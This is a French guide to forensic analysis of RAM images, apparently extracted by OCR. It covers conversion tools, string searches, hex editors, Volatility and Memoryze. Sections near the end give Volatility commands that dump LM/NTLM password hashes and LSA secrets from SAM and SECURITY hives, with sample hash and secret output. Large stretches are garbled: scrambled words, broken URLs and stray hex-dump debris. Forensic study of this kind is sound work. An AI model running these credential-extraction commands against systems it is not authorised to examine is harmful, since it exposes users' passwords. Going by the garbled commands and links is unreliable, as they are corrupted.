physique alors il est envi s acget deldénwnted $om disgue e pourly r u t
récupérer les fichiers « .vmem » depuis une autre machine.
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4. ANALYSE DE LA MEMOIRE RAM

Cette partie recense les outils me paraissant indispensable pour réaliser une analyse et une
mani pul ati on ddéune I mage m®moi r e.

4.1. Conversion des formats d'images RAM

41.1.Bnmudqgr hnm ¢ 3t m Crdghd grhpd § en’” image mémoire
brute

Certains logiciels d'exploitation de la RAM nécessitant en entrée une image de mémoire brute (RAW), il
peut parfois étre utile de convertir une image générée par un CrashDump dans ce format. Volatility
permet de réaliser cette tache via la commande suivante :

python  Volatility dmp2raw -f < chemi n do6acc s eraGrashf Dunp3 -o <chemin daccés au
fichier converti en RAW>

aining:
aiming
aiming
ming
a1ming

a1ming
aiming
a1 ming

ming
a1ming
aiming
aiming
aiming

AAADADADNDDNH0N00"a0n

11g
a1 ng
a1 ng:

Un des outils développés par Matthieu Suiche permet également de réaliser cette fonction : « dmp2bin ».
1 est di sponi bl ehttp://windrmodnsassanéconpenent/jdowrtioads/finish/3/2/0.

La syntaxe doéutilisation de | 6outil est |l a suivan

dmp2bin <chemin doéacc s au fDungri<eghemin@acaes & fichier convertien RAW>

412.Bnmudqgr hnm c¢ 3t ;3@ hdd d ohqbibdendlsys » en image
mémoire brute

Certains logiciels d'exploitation de la RAM nécessitant en entrée une image de mémoire brute (RAW), il
peut parfois étre utile de convertir un fichier d'hibernation dans ce format.

Un des outils développés par Matthieu Suiche permet de réaliser cette fonction : « hibr2bin ». Il est
di sponi bl e 7 | thtapd/iwvevsneansols.com/ecomponeat/jdownloads/finish/3/2/0.

Lasyntax e doéutilisation de | 6outil est | a suivante

hibr2bin . exe <chemin dobéacc s au f i ch i<ehemindd@adces @eficheadonvertnen

RAW>
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413.Bnmudqgr hnm e ciHagen mémoire brute en fichier
« CrashDump  »

Certains logiciels d'exploitation de la RAM nécessitant en entrée une image de type « CrashDump », il
peut parfois étre utile de convertir un fichier d 6 i ma g edans ceuféorreat (ex : anal yse dolL
mémoire Vmware via Windbg).

Un des outils développés par Matthieu Suiche permet de réaliser cette fonction : « bin2dmp ». Il est
di sponi bl e © | thtapdwvevineansols.eoin/geoanpoheat/downloads/finish/3/2/0.

La syntaxe doéutilisation de | 6outil est |l a suivan

bin2dm p.exe <chemin d'accés au fichier converti en RAW>

414.Bnmudqgr hnm c¢ 3t m ehbgh d«hiberfllsysh a d gemfickien n m
« CrashDump  »

Certains logiciels d'exploitation de la RAM nécessitant en entrée une image de type « CrashDump », il
peut parfois étre utile de convertir un fichier d 6 h i b e dangs teifanmat. (ex: analyse dboé
dohi bernation via Windbg).

Un des outils développés par Matthieu Suiche permet de réaliser cette fonction : « hibr2dmp ». Il est
dsponi bl e ~ | 0 a:dtip:évevs.moossals.com/compenent/jdownloads/finish/3/2/0.

La syntaxe doéutilisation de | 6outil est |l a suivan

hibr2dmp.exe <chemin ddéacc s awhfiibehinatcdhenmi < ddacc s au fDumgri e
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4.2. Extraction des chaines de caracteres

La commande « strings », nativement présente nativement sous Unix, peut étre utilisée pour trouver
rapidement des chaines de caracteres comme des mots de passe ou des informations sensibles.

root@SudOman - Laptop:/ strings dump - ram- coldboot.dmp | grep - i pass
PASS01

Password98

L'outil « bintext » de Foundstone, fonctionnant sous Windows, permet d'extraire les chaines de
caractéres depuis n'importe quel type de fichier ( . exe par exempl e) . I p
doi mage g®n®r ®e par | es m®t hodes pr®sent ®es pr ®c
de caractéres.

-ioix

Search | Fiter | Help |

File ta scan  |AMSdump rambgenerate FAM wintusersdd. exstimage.dd  Browse

¥ Advanced wview Time taken : 132047 sece  Test size: 67824438 bytes [B6234. 80K

8] | Text ;I
[0 =
Kt+Ku
0543

File poz | Mem pos |
A 00000000 00000000
A 00000042 00000042
A 00000040 00000040

a
a
a
A 00000053 00000053 0 1}
A 00000060 0O000OED 0 IThiz program cannot be run in DOS mode.
A 00000098 OO0OO0SE O text
A 00000041 000000&1 O h.rdata
A 00000043 00000043 0 HPAGE
A 000000BO  OO0OOOBO O .edata
A 00000O0B7  OOOOOOBY O @INIT
A 000000BD  OOOOOOBD O RE

a

a

A 000000C3  000000C3 B.reloc
A 00000002 00000002 ~oig _ILI
4 I I 3

it
1Hlni: 0 ‘HI ﬁsrc: 0 “CT}'DLC Find | Save |

i
Ready || ANSE 40d631¢|
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Manipulation des images RAM en hexadécimal

Parfois, il peut étre nécessaire de traiter di r e ct e ment
extrait les chaines de caractéres afin de rechercher par exemple des mots de passe codés en
hexadécimal.

Sous Windows,

e fi

tache tout comme « Hexedit » sous Linux.

Les
dodéau

deux |
tre

WIOO0ZEE-
WOO0ZEF-

01
i1

0002 F0-
HO002FL-
WIO002ZF2-
MIOOO02F3-
0002 F4-
WIOOO2FS -
W0002Fe- 02
O0002F7- 01
HO002FB-

W0002FI- 6
WIOO02ZFA- 7
002 FB-
HIO002FC-
W0002FD-
HIOO02FE-
WIO002ZFF-

43
38
43
42
F&

65

F&
F8
4E

000300~
HOO00301 -
000302 -
WO00303-
HOO0304 -
WO00305 -
WO00306-
MO003I07 -

8
80
00
8
iC
i)
D4
158

0gi

part

E4 93

Jex n:I ump>cat

72 65

rDlLFuFF— (il
I20C805 - 04
Y3 F7FCDB- ul

BE
00
6E
00
BE
70
|'I E

00
69
00
69
ELE

exdump=cat

T
e

0038856- 04
00040FBA- 7
004 98EA-
000498FE-
00049915 7

65
DD

1=
0

T2
§L

BF

ci el
es

dump.
65
00
74
i}
74
Bl
69

dump.
65 7
]
o4

69

oI

S
donn

| grep
6C 00
02 00

70

C 00
2 00
FB
5C
2E
2E

mettent

® e ASAEIn

S T ]
C1 GNP T W

e

n

f or me

hexad®ci

o0

c hi

| e
ma |

er

f

i
ai

doi

chi
nsi

[wordpad. exe. .... 1

mag e

« HexDump » [http://www.richpasco.org/utilities/hexdump.zip] permet de réaliser cette

d
quao

er
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Par contr e, | 6®di ti on nobdest pas possible sous Wi
[http://www.fairdell.com] ou WinHex [http://www.x-ways.net/winhex/index-f.html] pour réaliser ces taches.

[ Fairdell HexCmp2

“ File Edit Search Yiew Actions Options Help Left 15 Days! Register Mow!

A m@c|e|mn|ege|vanni=zxE=|adas]e

M Firgt File - J:VARCHIVE \forensicARAM\sample RAMASP2\hiberhil sys

- HEX OwFFEDO00 OFFSET | 00 01 02 03 04 05 06 07 08 09 0& O OC 0D OE OF

-DECIMAL | 267964416 P
01342060 | F2 10 50 90 BO 01 8B 62 C4 00 20 4D FC FO 05 EB | @.11° . IbL, Hus.e

e T 01342070 | CD 80 FF FF C9 C2 1C 00 32 CO EBE ED 58 0% 6E 05 | IiyvEL. . 24ciX . n.

DECVEL 20500 01342080 | 28 56 57 78 17 8D 45 FO 18 19 81 03 33 FF 57 60 | (Vix. IEZ..1.3¥W"

_ 01342090 | 00 89 00 40 08 20 45 EO 30 00 D8 50 BE 00 00 10 | .1.@. Ea0.0P%,

= - 01342Da0 | 00 56 8D BO 2& C7 45 D 18 40 07 89 7D DC 89 7D | .¥1° *cE:a @1

- Lharacter I 013A2DBE0 | E4 89 7D E® 89 7D EC FF 15 00 31 00 41 88 30 03 al}el J1.RID.

- Bit-Get 10010000 01342DC0O | 3B C? 7D 21 3D €8 00 40 74 07 3D 35 00 00 €O 75 | ;CHl= Yoot i

- Byte [HE=] | 0x30 01342000 OF C1 01 94 01 FF 15 BC 02 01 7C 45 64 FF 68 80 A, 1.%.1..|Ejv¥hi

-Byte [DEC] 144 013AZDE0 | 69 67 00 Cl 22 45 FF 50 03 OC EB 84 48 04 89 01 | ig. A"EyP. .21H.1.

“wiord [HEX] | 0+9090 013A42DF0 | OC F8 50 78 00 08 89 55 20 1C 90 38 01 58 00 8B | .@P=. .10 .18.X.1

“word [DEC) | -20528 013AZE00 | FO FF 1% F8 50 00 3B F7 OF 8C 53 70 00 00 81 00 | &%.eP.:<.1Sp..1.

-D'w/ord [HEX] | Dx1B09030 01342E10 | CO 11 51 FE 02 DO 09 OF 84 4F 58 00 29 0C 59 4E | A.|b.D..10%.).¥H

~Dword [DEC] | 28348560 01342E20 C7 BS 19 FA FF FF 38 D2 C5 77 89 9D FC F9 49 1B ¢I.uayv80hwllual.
013AZE30 | 18 1C OF 82 4B 38 A8 08 01 08 04 01 03 3E C2 OF ERTL L. e

013A2E40 85 93 3B 80 26 7B 14 899 BD CO E0 00 84 47 01 338 II 16, %43 1G. 1
013A2ES0 | 85 EC 40 00 Ce 47 01 00 8D 43 0C 89 8% 43 EO0 01 | 1i®@. &, . 1C.11Ha.
013AZ2Ee0 10 AOD 04 88 68 2C 89 85 8C A8 00 66 3D 00 02 OF @ . .Ih,lll”.f=.._
013AZ2E70 87 EC 45 60 47 81 3F 51 00 E1 50 00 8E 43 08 3B I1E G . aF . 1c.

013A2EB0 Ce 0OF 84 59 39 02 4B 04 89 8D 88 80 14 40 44 88 179 K. IIII @DI
013A2E90 01 66 8B 09 66 3B CE OF 84 SB A0 00 2B 58 32 85 .fl.f
013A2EA0 94 E8 01 3B 45 18 0OF 83 D2 37 00 05 B7? DL 03 283 | 1&.

Crram—| TR ' o de hibeii
-HEX 0FFB0000 OFFSET 0o 01 02 03 04 05 0 OF 08 09 04 OB OC OD OE OF

- DECIMAL 267364416

D1342D60  F2 10 ¥5 11 BO 01 8B 62 C4 00 20 4D FC FO 05 ES Ibi . Hiis &
HEY D] 8ODED 01342D70 CD 80 FF FF C9 C2 1C 00 32 CO EE ED 58 05 &E O IwaA 2481E n.
DEOMEL TaEaes D1342D80 28 G G7 78 17 8D 45 FO 18 19 81 03 33 FF &7 60 | (Vilz IES. . I.3%0°
_ 01342090 | 0D 89 D0 40 08 20 45 E0 30 00 D8 50 BE 00 00 10 | .1.@. Ea0 @P%.. .
rerr— D1342DA0 00 G6 2D B0 2A4 C7 45 DB 18 40 07 89 7D DC 89 70 | VI *=cE@.@. 1)01}

. 01342DB0 E4 29 7D Ef 89 7D EC FF 15 00 21 00 41 88 30 02 | S13&l]iv..1.410.
'E'tée:_lEx gl;;mm 013A420C0 | 3B C7 7D 21 3D C8 00 40 74 07 3D 35 00 00 €O 75 | ,CHI=E.@t.-5. . Au

4 winHex - [hiberfil.sys]
HEX File Edit Search Position Wiew Tools Specislist Options  Window Help

FLEHE ~cBRARD MLYE -Res O emEO  Sd4drHE | @

[unregisterad] hiteeril sps I

hiberfil. sys _ Of f=et 01 2 3 45 & 7 & 9 ABCTDEF
JAARCHIVE orensic\ Rk sample BE T o ooy pn [ 67 65 73 A 01 53 00 08 F8 00 64 73 65 BA 05 50| ge=j 5. @ d=e? P
Flo e sepyg| UUESZIFD |00 02 00 BO BC 35 7A 08 76 6B 06 00 04 SE 01 2E .. *MSz.vk..."..
' 267964 416 byles | 10652200 03 00 00 B0 CD 02 00 39 D00 38 02 74 61 38 03 50 ...14..9.9.ta8 F
00652210 |90 26 7& 01 39 C1 38 SE 1F 00 7B 96 38 B7 BB 03| 1&z. 948", . {18-».
P 00652220 |12 39 01 80 50 01 3% 00 78 01 D8 02 69 80 93 03| .9.0P.9. =.@. il1.
Chate: oiginal| 00652230 | 20 73 61 20 DE 64 6F 6D 61 69 6E 63 72 65 64 73| sa Pdomaincreds
00652240 | &0 00 00 O0 7B 0A OA OO0 38 01 80 0L 78 OO0 38 00| ...{.. . B.1.x.8.
Unida level. U pogszzso |78 01 06 00 66 6F 72 63 65 00 40 OB 00 67 75 65| =...force.@. .gue
Undo reverses: n'a| nogS2260 |73 74 07 00 88 C7 07 00 CB 3A 01 19 F9 00 BF 02 | st. . 1c. E:..0.é
o 00652270 |33 65 ES DS 79 6F 6E 65 69 6E 63 6C 75 64 65 73| 3ealyoneincludes
Do ar SUADZN03|  ppecoogn |61 6E 06 0% 30 03 6F 6E 79 6D &F 75 F4 02 3C 08 | an. . 0.ocnymoud. <.
T345 ) neeopan |12 00 78 01 EF 01 66 69 70 73 61 6C 67 6F 58 08| . m.¢.fipsalgaX.
Last write tirme: 28/04/2003 | 00652240 |68 6D 70 6F 6C 69 63 79 A8 00 7D 01 15 DE 00 00| hmpolicy .3}..B..
094856 | 006522B0 |60 00 38 01 7F 04 13 6C 69 6D 69 74 62 6C 61 6E| °.8.1.. linithlan
PR cys| D06522C0 | 6B 70 61 73 73 77 6F 72 64 75 73 65 BS 04 7D 01 | kpassworduss, .}.
leons g| 008s2eDD |01 ¥8 01 50 01 1A OC 58 00 00 80 19 00 04 66 75| .x.P...X..1...fu
006522E0 | 6C 6C 70 D8 D& 69 6C 65 67 65 61 75 64 69 74 69| 1lp@lilegeauditi
\Window B 1| DOES22F0 | 6E €7 BE 00 7B 01 13 00 B& 02 FF 02 00 00 6E 6F | ng,.{...,.¥...no
Mo, of windaws: 1| 00652300 |64 65 66 78 22 02 00 61 75 6C 74 61 64 6D 69 6E| defx". . aultadmin
00652310 |&F 77 6E 65 72 A8 00 00 00 08 18 00 D8 585 1F BC | owner ... ... @L .M

La version de démonstration de WinHex est limitée a la lecture des fichiers de 200Ko.

WinHex permet également de travailler directement sur la RAM de la machine sur laquelle est lancé le
l ogi ci el et cette fonction peut sbav®rer int ®r e
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sensibles.
x
Q -
(-3 Systern #4
653 Smes HE64
(643 Carss #744
(433 Winlogon #7653
B-6%3 Services #812
(- 433 Lsass H824
633 Svchost #1000
[-643 Svohast #1176
(433 Svchost #1212
633 Svchast #1276
[-€43 Svehast #1308
653 Spoolsy #1500
683 Soardsvr #1544
[H-#43 Sched #1576
653 vguard #1780
(- ¢y Cisve #1732
-3 Crypserv #1808
(- ¢33 Mdm #1880
(-4 Stacsy #1932 =
| Show systern modules I Include free regions
Cancel | Hep |
Physical Memory | Physical Memary |
S 6 7 & 9 A B CDEF .
[unregistrier]
FF FF FF FF FF FF FF FF FF FF FF Physical Memory
FF FF FF FF FF FF FF FF FF FF FF Teoeam (RAM)
FF FF FF FF FF FF FF FF FF FF FF
FF FF FF FF FF FF FF FF FF FF FF Fmiar raid
FF FF FF FF FF FF FF FF FF FF FF
FF FF FF FF FF FF FF FF FF FF FF ;
FF FF FF FF FF FF FF FF FF FF FF I e S 126 81 3553;12
FF FF FF FF FF FF FF FF FF FF FF
9E 2E 00 80 00 57 69 6E 33 32 5F yyyyyl. | Win32_ Bytes per sector T
72 6B 4C 6F 67 6% EE S50 72 6F 66 | NetworkLoginProf e~ 521702
44 65 73 63 72 69 70 74 69 6F 6E | ile Description
20 57 69 &E 33 32 SF 4E 65 74 77 The Vin32_Netw Physical disk: 0
67 £9 6E 50 72 6F 66 69 6C 65 20 | orkloginProfile
20 72 65 70 72 65 73 65 6E 74 73| class represents Mode: Tet
6E 65 74 77 6F 72 6B 20 6C 6F 67 | the network log EEEEE GBI
66 6F 72 6D 61 74 69 6F 6E 20 6F | in information o CiEEE il
X Bytes per page: A16=640
61 72 74 69 63 75 6C 61 72 20 75| f a particular u
6E 20 61 20 57 69 BE 33 32 20 73 | =er on a WiniZ = Window & 3
ZE 20 54 68 63 73 20 69 6E 63 6C No. of windows: 4

y=tem. Thi= incl

bl el e———————————————————
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Ce paragraphe traite des différents outils disponibles permettant la lecture des informations systéemes et

I 3" h

Analyse de létat du systeme

H@ckRAM

k

ciblées stockées dans une image mémoire RAM.

« Volatility &

4.4.1. Volatility

est une suit

e

| 8l nhgd pth

doéoutils gratui

nombreuses opérations sur les images de mémoire RAM.

Léou

til est

ts

options suivantes :

TCULAR PURPOSE.

usage: volatility ond [omd

opts]

Run command cmd with options omd_opts

For help on a specific command

Supported Internel Commands:
Pr1nt Tist of open connections

connections
connscan
connscan?
datetime
di1list
dmp2raw
dmpchk
files
hibinfo
ident
memdmp
memmap
modscan
modscan?
modules
procdump
pslist
psscan
psscan2
raw2dmp

strings
take a while, VERY verbose)
thrd=can
thrdscanz
vaddump
vadinfo
vadwalk

Get date,
Print Tis
Convert a

Dump

Print Tist o

run ‘volatility ond --help’

connection objects
connection objects
ime information image
T Toaded d11s each process
*ath dump to a raw dump
crash dump information
open Tiles for each process

New)

Convert hibernation file to linear raw image
Identify image properties

Dump

Print the mem
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Ci-dessous quelques exemples de données extraites par Volatility.

Liste des processus actifs [pslist]

Name Pid PPid Thds Hnds Time

System 4 0 57 244 ThuJan 01 00:00:00 1970

smss.exe 532 4 3 20 Wed Mar 04 15:16:24 2009

csrss.exe 5 96 532 9 364 Wed Mar 04 15:16:26 2009

winlogon.exe 620 532 24 462 Wed Mar 04 15:16:45 2009

services.exe 664 620 15 259 Wed Mar 04 15:16:45 2009

Isass.exe 676 620 23 331 W ed Mar 04 15:16:45 2009
vmacthlp.exe 832 664 1 25 Wed Mar 04 15:16:46 2009

svchost.exe 848 664 20 202 Wed Mar 04 15:16:46 2009

svchost.exe 916 664 9 239 Wed Mar 04 15:16:46 2009

svchost.exe 1012 664 75 1085 Wed Mar 04 15:16:46 2009

svchost.exe 1052 664 7 76 Wed Mar 04 15:16:46 2009

svchost.exe 1108 664 15 200 Wed Mar 04 15:16:48 2009

explorer.exe 1460 1416 14 322 Wed Mar 04 15:16:50 2009
spoolsv.exe 1516 664 14 122 Wed Mar 04 15:16:50 2009

VMwareTray.exe 1692 1460 1 35 Wed Mar 04 15:16:51 2009

VMwareUser.exe 1700 1460 5 110 Wed Mar 04 15:16:51 2009

Objets de la base de registre utilisés selon les processus actifs [regobjkeys]

Pid: 1516

\ REGISTRYX MACHINE

\ REGISTRYX MACHINE SOFTWAREMICROSOFTWINDOWS NTCURRENTVERSIONDRIVERS32

\ REGISTRYX MACHINE SOFTWARECLASSES

\ REGISTRYX USER

\ REGSTRY\ MACHINE SYSTEMCONTROLSETO0MCONTROLPRINT

\ REGISTRYX MACHINE SOFTWARBEVICROSOFTWINDOWS NTCURRENTVERSIONPRINT\ PRINTERS

\ REGISTRYX MACHINE SYSTENMCONTROLSETOO1CONTROLPRINT\ MONITORSSTANDARD TCP/IP PORT

\ REGISTRYX MACHINE SYSTENMCONTROLSETOOLSERVICES\ WINSOCKRPARAMETERSPROTOCOL_CATALOG9

\ REGISTRYX MACHINE SYSTEMCONTROLSETOOISERVICES WINSOCKRPARAMETERSNAMESPACE_CATALOGS5
\ REGISTRYX MACHINE SYSTENMCONTROLSETOOICONTROLPRINT\ MONITORSTHINPRINT PRINT PORT MONITOR FOR VMWARE
\ REGISTRYX MACHINE SYSTEMCONTROLSET001 HARDWARE PROFILES)001

Sockets ouvertes selon les processus actifs [sockets]

Pid Port Proto Create Time

4 138 17 Wed Mar 04 15:16:53 2009

676 500 17 Wed Mar 04 15:17:09 2009

1012 123 17 Wed Mar 04 15:17:23 2009

4 445 6 Wed Mar 04 15:16:21 2009

916 135 6 Wed Mar 04 15:16:46 2009

1332 1029 6 Wed Mar 04 15:17:18 2009

1012 123 17 Wed Mar 04 15:17:23 2009

676 0 25 5 Wed Mar 04 15:17:09 2009
1108 1900 17 Wed Mar 04 15:17:18 2009

1052 1025 17 Wed Mar 04 15:17:16 2009

4 139 6 Wed Mar 04 15:16:53 2009

4 137 17 Wed Mar 04 15:16:53 2009

1108 1900 17 Wed Mar 04 15:17:18 2009
676 4500 17 Wed Mar 04 15:17:09 2009

4 445 17 Wed Mar 04 15:16:21 2009
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Fichiers utilisés selon les processus actifs [files]

pth

Pid: 4

File \ Documents and Settings \ NetworkService \ ntuser.dat.LOG

File \ Documents and Settings \ NetworkService \ NTUSER.DAT

File \ Documents and Settings \ NetworkService \ Local Settings \ Application
Data \ Microsoft \ Windows\ UsrClass.dat

File \ Documents and Settings \ NetworkService \ Local Settings \ Application
Data \ Microsoft \ Windows\ UsrClass.dat.LOG

File \ test

File \ WINDOWSsystem32 \ config \ SECURITY

File \ WINDOWSsystem32 \ config \ SECURITY.LOG

File \ WINDOWSsystem32 \ config \ software

File \ WINDOWSsystem32 \ config \ software.LOG

File \ WINDOWSsystem32 \ config \ system

File \ WINDOWSsystem32 \ config \ system.LOG

File \ WINDOWSsystem32 \ config \ default

File \ WINDOWSsystem32 \ config \ default.LOG

File \ hiberfil.sys

File \ WINDOWSsystem32 \ config \ SAM

File \ WINDOWSsystem32 \ config \ SAM.LOG

File \ Documents and Settings \ LocalService \ Local Settings \ Application Data \ Microsoft \ Windows\ UsrClass.dat
File \ Documents and Settings \ LocalService \ NTUSER.DA'

File \ Documents and Settings \ LocalService \ ntuser.dat.LOG

File \ Documents and Settings \ LocalService \ Local Settings \ Application
Data \ Microsoft \ Windows\ UsrClass.dat.LOG

File \ Documents and Settings \ Dema ntuser.dat.LOG

File \ Documents and Settings \ Demd NTUSER.DAT

File \ Documents and Settings \ Demad Local Settings \ Application Data \ Microsoft \ Windows\ UsrClass.dat

File \ Documents and Settings \ Demad Local Settings \ Application Data \ Microsoft \ Windows\ UsrClass.dat.LOG

File \ Topology

File \

Librairies DLL utilisées selon les processus actifs [dlllist]

TrueCrypt.exe pid: 1660
Command line : "C: \ Program Files
Service Pack 2

Base Size Path
0x400000 0x128000 C:
0x7c910000 0xb7000 C:
0x7c800000 0x105000 C:
0x58b50000 0x9a000 C:
0x77da0000 Ox ac000 C:
0x77€50000 0x92000 C:
0x77fc0000 0x11000 C:
0x77ef0000 0x47000 C:
0x7e390000 0x90000
0x778e0000 0xf8000 C:
0x77be0000 0x58000 C:
0x76340000 0x4a000 C
0x77f40000 0x76000 C:

\ TrueCrypt \ TrueCrypt.exe"

\ Program Files \ TrueCrypt \ TrueCrypt.exe
\ WINDOWSsystem32 \ ntdll.dll

\ WINDOWSsystem32 \ kernel32.dll

\ WINDOWSsystem32 \ COMCTL32.dll

\ WINDOWSsystem32 \ ADVAPI32.dll

\ WINDOWSsystem32 \ RPCRTA4.dlI

\ WINDOWSsystem32 \ Secur32.dll

\ WINDOWSsystem32 \ GDI32.dll

:\ WINDOWSsystem32 \ USER32.dll

\ WINDOWSsystem32 \ SETUPAPIL.dII
\ WINDOWSsystem32 \ msvcrt.dll

\ WINDOWSsystem32 \ COMDLG32.dll
\ WINDOWSsystem32 \ SHLWAPIL.dII

Tentative de reconstitution des processus actifs [procdump]
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Dumping smss.exe, pid: 532  output: executable.532.exe

Memory Not Accessible: Virtual Address: 0x4858b000 File O ffset: Oxb00O0 Size: 0x1000
Memory Not Accessible: Virtual Address: 0x4858d000 File Offset: 0xd00O Size: 0x1000

Memory Not Accessible: Virtual Address: 0x4858e000 File Offset: 0xe000 Size: 0x1000

4.4.2. Memorize

Memoryze, tout comme Volatiitye st une $s$lUist pedmeut ant | 6expl oitat]
exploitable via une série de batch (.bat).

Outre les fonctionnalités classiques telles que le listing des processus actifs, des dll utilisées et des
sockets ouverts, Memoryze possede les fonctionnalités intéressantes suivantes :

Cr®ation dbébune i mage m®moir e

Cr®ation dbébune i mage m®moire sp®cifiqgue ~ un |
Identification des « hooks » souvent utilisés par les rootkits

Génération de rapport XML importable sous Excel

Memoryze est donc un outil pouvant étre utilisé en complément avec Volatility et pouvant étre téléchargé
| 6 adr e s shitp:/svww.maadiant.eom/products/free software/memoryze/

4.4.3. Autres outils

D6autres o wtdéstineés r"® pludta@®nsa | y s eexistient etlsant disp®nibtes surdnternet :

MemParser (fusion de PTfinder et memdump)][ http://sourceforge.net/projects/memparser]

WMFT [http://forensic.seccure.net/tools/wmft 0.2.zip]

Windbg [site de Microsoft]

PTFinder (permet la génération de la map mémoire avec les PID et offset en .dot et donc
visualisable par kgraphviewer) [http://computer.forensikblog.de/files/ptfinder/ptfinder-collection-

current.zip]
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Le site suivant propose des outils orientés recherche des processus cachés au sein de la mémoire :
http://forensic.seccure.net/
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Cette partie pr®sente un ®chantillon des infor mat
image mémoire.

5.1. Mots de passe BIOS

Depuis une image générée via le port Firewire, il e st possible dbéen extrair
pouvant °tre confighkhG ® au d®marrage doéun

Citdessous, un exemple dé®cran doéoauthentification

Le script « Bioskbsnarf.py » [http://www.storm.net.nz/static/files/bioskbsnarf] permet de réaliser
précisément cette tache.

5.2. Hashs LM & NTLM

En possession dbdébune image de | a m®moire RAM, i
contenus dans la base SAM et disponible via les fichiers SYSTEM et SAM
(« C \WINDOW S\system32\config\ »).

L 6 o Volatiliy permet de réaliser cette tache via une série de trois commandes décrites ci-dessous. Les
librairies de cryptographie pour python doivent étre installées pour pouvoir utiliser ces fonctions

d 6 eagtibn [http://www.amk.ca/python/code/crypto.html]. Dé aut r e part, des l 1 br
spécifiques a Volatility et aux fonctions présentées ci-dessous doivent étre copiées dans le répertoire
principal de  6outil . Ces l'i braires sont:

[http://www.cc.gatech.edu/%7Ebrendan/volatility/dl/volreg-0.6.tar.gz].

||pyth0n volatility hivescan -f <chemin dodédacc s au fichier RAM> ||

$ p ython volatility hivescan -fH: \DUMPTEST\ dump_ram_user.dmp
Offset (hex)

124365664 0x769ab60
125087752 0x774b008
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|| python Volatility hivelist -f <chemi

n ddacc s

a u -6 «premier effset de falormmande hivescan>

$ python  Volatility hivelist -fH: \ DUMPTEST\ dump_ram_user.dmp -0 0x769ab60
Address  Name
0xe1038008 \ WINDOWSsystem32 \ config \ system
0xe102f008 [no name]
0xe31f5b60 \ Documents and Settings \ amalard \ Local Settings \ Application Data \ Mic
rosoft \ Windows\ UsrClass.dat
0xe3170b60 \ Documents and Settings \ amalard \ NTUSER.DAT
0xe2d77570 \ Documents and Settings \ LocalService \ Local Settings \ Application
Data \ Microsoft \ Windows\ UsrClass.dat
0xe2df7b60 \ Documents and Settings \ LocalService \ NTUSER.DAT
0xe2d9a7b0 \ Documents and Settings \ NetworkService \ Local Settings \ Application D
ata \ Microsoft \ Windows\ UsrClass.dat
0xe2d7d008 \ Documents and Settings \ NetworkService \ NTUSERR.DAT
0xelf45a00 \ WINDOWSsystem32 \ config \ software
Oxelee0380 \ WINDOWSsystem32 \ config \ default
0xelffo758 \ WINDOWSsystem32 \ config \ security
DXEI0EBEee) \ WINDOWSsystem32 \ config \ sam
0xelb58b60 [no name]
L6 opthashdaumge per met | Olashk iMcehNTOMe: d e s
||$ python  volatility hashdump -f <chemin ddacc s au -Y<offsetbystem>R A M-s <offset sam> ||

$ python  Volatility hasdump -fH: \ DUMPTEST\ dump_ram_user.dmp -y 0xel038008
SysAdmin:500:8a21969a3f6 XXXXf50419e5936a8b420:948fc9bd8dcel60XXXXel4a4a02f082a:::
SUPPORT_388945a0:1002:aad3b435b51404eXXXX3b435b51404ee:1b1832823aaxXXXX8a63aaf5c28f711d5:::
ASPNET:1020:95ch3b8f8b611XXXX4f407098dd4b474:08105e4e01d81cd0OXXXXb6454019d2f6:::
HelpAssistant:1037:50d503XXXX471f76309c4047a6e92798:be42677f66c11cXXXX956e9dc2ab0362:::
amalard:1038:8a21969a3f68cXXXX0419e5936a8b420:948fc9bd8dce1609XXXX14a4a02f082a:::
IUSR_DLLEAMALARD:1064:7064e16XXXX98447f4e56c7b081084aa:3a13467d49XXXX2e65482b2bd2c74497:
IWAM_DLLEAMALARD:1065:b13645XXXX0644deaal29141bce08061:59fc3c0c8cdXXXX583f37cf40ea8b239:::
__vmware_user___:1068:aad3b435XXXX04eeaad3b435b51404ee:ebab8ac4aab0XXXX651a08854cc7e719:::

-5 0xel018060

Attention, cette technigue ne fonctionne actuellement que sous Windows XP SP2 & SP3 et non sous
Windows Vista et 2003.

Nota : Un léger bug a été découvert dans le script « hashdump.py »
(Volatility/Forensic/Win32/hashdump.py) et emp°che | 6affichage des ha
caract res ne suppoernt ahnetx apda®sc i Imbad n ¢ o d a gsetyfef except gbdr a j ¢

ignorer | es erreurs et permettre | 6ex®cution du s

for user in get_user_keys(samaddr, profile):
Imhash,nthash = get_user_hashes(user,hbootkey)
if not Imhash: Imhash = empt y_Im
if not nthash: nthash = empty_nt
try:
print  "%s:%d:%s:%s::" %
nthash.encode(‘hex'))

except:

(get_user_name(user), int(user.Name,16), Imhash.encode(’hex’),
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5.3. Secrets LSA

Depui s | 6extr ac test possibled ée rdcupéreR ldsVsecrets LSA via les fichiers systemes
SYSTEM et SECURITY (« C:\WINDOW S\system32\config\ »).

L 6 o Molatility permet encore une fois de réaliser cette tache et la série de commande est équivalente a
celle lancée pour extraire la base SAM mis a part que les offset a récupérer sont ceux correspondant aux
fichiers SYSTEM ET SECURITY.

$ python volatility hivelist -f H:\ DUMPTEST\ dump_ram_user.dmp -0 0x769ab60
Address  Name

0xe1038008 \ WINDOWSsystem32 \ config \ system

0xe102f008 [no name]

0xe31f5b60 \ Documents and Settings \ amalard \ Local Settings \ Application
Data \ Microsoft \ Windows\ UsrClass.dat

0xe3170b60 \ Documents and Settings \ amalard \ NTUSER.DAT
0xe2d77570 \ Documents and Settings \ LocalService \ Local Settings \ Application Dat
a\ Microsoft \ Windows\ UsrClass.dat

0xe2df7b60 \ Documents and Settings \ LocalService \ NTUSER.DAT

0xe2d9a7b0 \ Documents and Settings \ NetworkService \ Local Settings \ Application D
ata \ Microsoft \ Windows\ UsrClass.dat

0xe2d7d008 \ Documents and Settings \ NetworkService \ NTUSER.DAT

0xelf45a00 \ WINDOWSsystem32 \ config \ software

Oxelee0380 \ WINDOWSsystem32 \ config \ default

DIElioNSEl \ WINDOWSsystem32 \ config \ security

0xe1018b60 \ WINDOWSsystem32 \ config \ sam

0xelb58b60 [no name]

Léoptlsadumpe per met | 6affichage des secrets LSA:

||$ python  volatility Isadump -f <chemin do6éacc s au -¥<offsatsystem>R A M->s <offset security> ||

$ python volatility Isadump -fH: \DUMPTEST\ dump_ram_user.dmp -y 0xel038008
_SC_WMPNetworkSvc

SCM:{3D14228D - FBE1- 11D0- 995D- 00C04FD919C1}

0000 4000 7A 00 2B 00 65 00 57 00 63 00 73003700 @.z.+.e.W.c.s.7.

0010 65 00 41 00 38 00 6E 00 2F 00 64 00 00 00 e.A.8.n./.d...
L$150910.159.31.135

0000 74 00 6500 73 00 74 00 64 00 65 00 76 00 00 00 t.e.s.t.d.e.v...
